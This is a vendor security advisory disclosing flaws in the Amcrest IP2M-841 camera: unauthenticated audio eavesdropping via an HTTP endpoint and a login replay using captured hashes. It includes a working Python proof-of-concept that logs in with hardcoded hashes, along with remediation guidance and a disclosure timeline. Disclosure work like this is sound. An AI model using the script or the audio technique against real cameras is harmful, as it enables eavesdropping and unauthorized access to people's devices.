Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Amcrest IP Camera Multiple Vulnerabilities

Medium

Synopsis

Tenable spent some time examining the Amcrest IP2M-841 IP camera. We found the following:

CVE-2019-3948: Unauthenticated Remote Audio Streaming Over HTTP

The camera exposes the HTTP endpoint videotalk. This endpoint allows a remote user to listen to the audio that the camera is currently capturing. This endpoint does not implement any type of authentication. Therefore, any remote unauthenticated attacker that can decode the DHAV format can make a single HTTP request and listen to the camera's audio.

See the linked proof of concept for a full implementation. If the camera is using default settings, the proof of concept's output should be playable via ffplay with the following command:

ffplay -f alaw -ar 8k -ac 1 [poc output]

Login Replay

Like most Dahua devices, the IP2M-841B has a service listening on TCP port 37777. Previously, another researcher had discovered a remote attacker can login to this interface using a captured hash (see: CVE-2017-7927). Dahua appeared to fix this at the time. However, Tenable discovered the Amcrest IP2M-841B was still vulnerable to this attack if the user's password was only 8 characters long. The following script will login using the "admin" and "01testit" hashes and make an authenticated request for the software version.

import argparse
import socket
import struct
import sys

top_parser = argparse.ArgumentParser(description='Login using admin:01testit and get the software version')
top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")
top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="37777")
args = top_parser.parse_args()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
sock.connect((args.ip, args.port))
print "[+] Connected!"

login = ("\xa0\x00\x00\x60\x00\x00\x00\x00" + 
         "\xc4\xa3\xaf\x48\x99\x56\xb6\xb4" + # username hash
         "\x7e\x48\xc4\x86\x90\x98\x54\xf3" + # password hash
         "\x05\x02\x00\x01\x00\x00\xa1\xaa")
sock.sendall(login)
resp = sock.recv(1024)

if len(resp) != 32:
    print 'What is this?'
    sys.exit(0)

session_id_bin = resp[16:20]

session_id_int = struct.unpack_from('I', session_id_bin)
if session_id_int[0] == 0:
	print "Failed to log in. Response:"
	print resp
	sys.exit(0)

print str(session_id_int[0])

json = '{"id":1,"method":"magicBox.getSoftwareVersion","params":null,"session":' + str(session_id_int[0]) + '}\n\x00'
size = struct.pack("I", len(json))
json_request = "\xf6\x00\x00\x00" + size + '\x01\x00\x00\x00\x00\x00\x00\x00' + size + '\x00\x00\x00\x00' + session_id_bin + '\x00\x00\x00\x00' + json
sock.sendall(json_request)
print sock.recv(1024)

sock.close()

Solution

The Amcrest IP2M-841B should be upgraded to V2.420.AC00.18.R or later. Visit Dahua's security advisory for the appropriate upgrade information.

Disclosure Timeline

05/08/2019 - Asked for an appropriate security contact via [email protected] 90 days is Aug. 6.
05/08/2019 - Automated response indicating support has reviewed the email. Assigned 285278.
05/08/2019 - Amcrest representatives and a cc'd Dahua representative reach out to Tenable.
05/08/2019 - Tenable discloses and reiterates the disclosure deadline.
05/14/2019 - Tenable pings Amcrest.
05/14/2019 - Amcrest acknowledges both vulnerabilities. Amcrest implies they were already aware of the issues. Also provide Tenable a test firmware that should be generally available within a couple of weeks.
05/15/2019 - Tenable thanks Amcrest. Tenable also informs Amcrest that independently discovered vulnerabilities still go through Tenable's disclosure policy. Tenable reiterates the disclosure deadline.
05/29/2019 - Tenable follows up about the patch.
05/29/2019 - Amcrest indicates a patch should be ready on June 4.
06/07/2019 - Amcrest sends Tenable another firmware patch.
06/11/2019 - Tenable thanks Amcrest and asks about the planned release date.
06/14/2019 - Amcrest indicates June 28. Asks Tenable if they've verified the fix.
06/18/2019 - Tenable affirms that, on static inspection, the patch looks good. Tenable assigns CVE-2019-3948 to the streaming issue.
06/26/2019 - Amcrest indicates July 18 is the new disclosure date.
06/26/2019 - Tenable acknowledges.
07/14/2019 - Tenable asks if July 18 is still the go day.
07/14/2019 - Amcrest pushes to July 28.
07/14/2019 - Tenable acknowledges and reminds Amcrest of the disclosure deadline.
07/27/2019 - Tenable asks if July 28 is still the go day.
07/27/2019 - Amcrest says July 29.
08/02/2019 - Dahua publishes an advisory

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io

FREE FOR 60 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Buy Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

$2,275.00

Buy Now

Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save

Try for Free Buy Now

Try Tenable.io Web Application Scanning

FREE FOR 60 DAYS

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578.00

Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security

FREE FOR 60 DAYS

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Learn More about Industrial Security

Get a Demo of Tenable.sc

Please fill out the form below with your contact information and a sales representative will contact you shortly to schedule a demo. You may also include a short comment (limited to 255 characters). Please note that fields with asterisks (*) are mandatory.